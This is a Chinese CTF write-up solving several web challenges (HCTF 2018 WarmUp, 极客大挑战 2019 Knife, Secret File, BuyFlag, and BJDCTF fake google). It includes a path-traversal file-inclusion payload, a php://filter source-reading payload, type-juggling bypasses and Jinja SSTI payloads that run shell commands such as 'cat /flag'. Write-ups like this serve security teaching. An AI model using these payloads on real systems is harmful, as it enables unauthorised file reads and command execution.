[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag
Posted H3h3QAQ
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag相关的知识,希望对你有一定的参考价值。
[HCTF 2018]WarmUp
打开之后硕大的一张滑稽
F12一下看看有没有提示
发现了source.php
得到了一串PHP
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
}
?>
发现还有一个hint.php
打开后提示
flag not here, and flag in ffffllllaaaagggg
再回去看看PHP代码
看到了有一个checkfile函数
往下看
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
mb_substr(str1,start,[length][,[str2]]):是在str1从start开始length为长度截取字符串,str2是表示字符编码 mb_strpos(str1,str2):查找str2在str1中出现的位置
首先想到怎么绕过
可以构造payload:
file=hint.php?/../../../../../../../../ffffllllaaaagggg
拿到flag
flag{ceb7304c-7983-4578-bd58-db130b4b22f3}
https://blog.csdn.net/weixin_47174945/article/details/109500269 大师傅的详细解题步骤
[极客大挑战 2019]Knife
打开就是啪的一下!!!很快嗷!
直接一个shell丢在脸上
打开蚁剑 直接链接拿Flag!!!
[极客大挑战 2019]Secret File
打开就是这个样子
老规矩F12一下看看有没有详细信息
发现一个php,点进去是这样的
用Burpsuite抓一下包拿到了这个
打开是一串PHP
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
首先
strstr() — 查找字符串的首次出现
stristr() — strstr() 函数的忽略大小写版本
也就是:
要GET一个file参数过去,但是不能含有…/、tp、input、data,包括这些的大小写。不含有这些的话就会包含file指定的文件,php://伪协议
php://filter可以使用
https://blog.csdn.net/qq_33020901/article/details/78706764 php伪协议
接下来构造payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
拿到了base64加密的代码
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7YWEyNTVjNGYtOTFiZi00MjJhLThlMzItNjc4ZjAzZWQ0NGNlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解密一下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{aa255c4f-91bf-422a-8e32-678f03ed44ce}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
Alt+1
好家伙,想要个女朋友…
[极客大挑战 2019]BuyFlag
打开是这个样子!
F12一下发现了pay.php(从网页的菜单里电进去也一样)
burpsuite抓一下
回去看网页
提示得是CUIT的学生
那么 Cookie user 改成 1
send 一下 又提示得提交密码
在源代码里发现了:
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
传一下password 提示需要给钱
但是不能为纯数字 所以构造password为404a
is_numberic漏洞 让password为404%20或者404%00或者404a都可以绕过。
然后提示需要给钱QAQ 盲猜还有个money需要传值
传了一下
提示length超长
百度了一下发现了php strcmp()漏洞
https://blog.csdn.net/cherrie007/article/details/77473817
则传
money[]=1
得到flag
flag{03a0544e-e496-4790-b66d-2e6d5359be31}
PS:
Burpsuite POST传值需要加 Content-Type: application/x-www-form-urlencoded
[BJDCTF 2nd]fake google
SSTi 一些简单的注入
{{config}}可以获取当前设置
{{self}}
{{self.__dict__._TemplateReference__context.config}} 同样可以看到config
().__class__.__bases__[0].__subclasses__()
---查看可用模块
().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,不过题目环境不能用。手动数吧= = 169位
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
没有什么过滤= =友好!
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[%27open%27](%27/flag%27).read()}}
以上是关于[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag的主要内容,如果未能解决你的问题,请参考以下文章
CVE-2018-12613(phpMyAdmin远程文件包含)-HCTF-2018-WarmUp